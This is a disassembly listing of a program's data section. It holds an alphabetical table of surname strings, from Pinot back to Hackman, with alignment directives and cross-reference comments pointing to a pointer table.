aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
